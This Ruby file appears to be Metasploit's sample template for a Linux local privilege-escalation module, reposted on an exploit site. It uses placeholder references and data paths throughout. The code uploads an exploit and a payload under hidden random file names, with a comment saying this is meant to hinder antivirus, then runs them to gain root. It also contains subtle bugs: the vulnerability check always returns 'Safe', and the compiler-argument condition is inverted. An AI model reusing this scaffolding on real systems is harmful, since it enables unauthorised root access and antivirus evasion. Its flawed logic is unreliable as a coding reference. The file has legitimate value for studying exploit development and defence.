Share
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

###
#
# This exploit sample shows how an exploit module could be written to exploit
# a bug in a command on a linux computer for priv esc.
#
###
class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Post::Linux::Kernel
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        # The Name should be just like the line of a Git commit - software name,
        # vuln type, class. Preferably apply
        # some search optimization so people can actually find the module.
        # We encourage consistency between module name and file name.
        'Name'           => 'Sample Linux Priv Esc',
        'Description'    => %q(
            This exploit module illustrates how a vulnerability could be exploited
          in an linux command for priv esc.
        ),
        'License'        => MSF_LICENSE,
        # The place to add your name/handle and email.  Twitter and other contact info isn't handled here.
        # Add reference to additional authors, like those creating original proof of concepts or
        # reference materials.
        # It is also common to comment in who did what (PoC vs metasploit module, etc)
        'Author'         =>
          [
            'h00die <[email protected]>', # msf module
            'researcher' # original PoC, analysis
          ],
        'Platform'       => [ 'linux' ],
        # from underlying architecture of the system.  typically ARCH_X64 or ARCH_X86, but the exploit
        # may only apply to say ARCH_PPC or something else, where a specific arch is required.
        # A full list is available in lib/msf/core/payload/uuid.rb
        'Arch'           => [ ARCH_X86, ARCH_X64 ],
        # What types of sessions we can use this module in conjunction with.  Most modules use libraries
        # which work on shell and meterpreter, but there may be a nuance between one of them, so best to
        # test both to ensure compatibility.
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        => [[ 'Auto', {} ]],
        # from lib/msf/core/module/privileged, denotes if this requires or gives privileged access
        # since privilege escalation modules typically result in elevated privileges, this is
        # generally set to true
        'Privileged'     => true,
        'References'     =>
          [
            [ 'OSVDB', '12345' ],
            [ 'EDB', '12345' ],
            [ 'URL', 'http://www.example.com'],
            [ 'CVE', '1978-1234']
          ],
        'DisclosureDate' => "Nov 29 2019",
        # Note that DefaultTarget refers to the index of an item in Targets, rather than name.
        # It's generally easiest just to put the default at the beginning of the list and skip this
        # entirely.
        'DefaultTarget'  => 0
      )
    )
    # We typically drop a pre-compiled exploit to disk and run it, however the option
    # is left for the user to gcc it themselves if there is an add OS or other dependency
    register_options [
      OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ])
    ]
    # force exploit is used to bypass the check command results
    register_advanced_options [
      OptBool.new('ForceExploit',  [ false, 'Override check result', false ]),
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]

  end

  # Simplify pulling the writable directory variable
  def base_dir
    datastore['WritableDir'].to_s
  end

  # Simplify and standardize uploading a file
  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    write_file path, data
  end

  # Simplify uploading and chmoding a file
  def upload_and_chmodx(path, data)
    upload path, data
    chmod path
    register_file_for_cleanup path
  end

  # Simplify uploading and compiling a file
  def upload_and_compile(path, data, gcc_args='')
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    if gcc_args.to_s.blank?
      gcc_cmd << " #{gcc_args}"
    end

    output = cmd_exec gcc_cmd

    unless output.blank?
      print_error output
      fail_with Failure::Unknown, "#{path}.c failed to compile"
    end

    register_file_for_cleanup path
    chmod path
  end

  # Pull the exploit binary or file (.c typically) from our system
  def exploit_data(file)
    ::File.binread ::File.join(Msf::Config.data_directory, 'exploits', 'DOES_NOT_EXIST', file)
  end

  # If we're going to live compile on the system, check gcc is installed
  def live_compile?
    return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')

    if has_gcc?
      vprint_good 'gcc is installed'
      return true
    end

    unless datastore['COMPILE'].eql? 'Auto'
      fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
    end
  end

  def check
    # Check the kernel version to see if its in a vulnerable range
    release = kernel_release
    if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
       Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
      vprint_error "Kernel version #{release} is not vulnerable"
      return CheckCode::Safe
    end
    vprint_good "Kernel version #{release} appears to be vulnerable"

    # Check the app is installed and the version, debian based example
    package = cmd_exec('dpkg -l example | grep \'^ii\'')
    if package && package.include?('1:2015.3.14AR.1-1build1')
      print_good("Vulnerable app version #{package} detected")
      CheckCode::Appears
    end
    CheckCode::Safe
  end

  #
  # The exploit method drops a payload file to the system, then either compiles and runs
  # or just runs the exploit on the system.
  #
  def exploit
    # First check the system is vulnerable, or the user wants to run regardless
    unless check == CheckCode::Appears
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    # Check if we're already root
    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
      end
    end

    # Make sure we can write our exploit and payload to the remote system
    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    # Upload exploit executable, writing to a random name so AV doesn't have too easy a job
    executable_name = ".#{rand_text_alphanumeric(5..10)}"
    executable_path = "#{base_dir}/#{executable_name}"
    if live_compile?
      vprint_status 'Live compiling exploit on system...'
      upload_and_compile executable_path, strip_comments(exploit_data('example.c'))
      rm_f "#{executable_path}.c"
    else
      vprint_status 'Dropping pre-compiled exploit on system...'
      upload_and_chmodx executable_path, exploit_data('example')
    end

    # Upload payload executable
    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
    upload_and_chmodx payload_path, generate_payload_exe

    # Launch exploit with a timeout.  We also have a vprint_status so if the user wants all the
    # output from the exploit being run, they can optionally see it
    timeout = 30
    print_status "Launching exploit..."
    output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout
    output.each_line { |line| vprint_status line.chomp }
  end
end

#  0day.today [2019-12-17]  #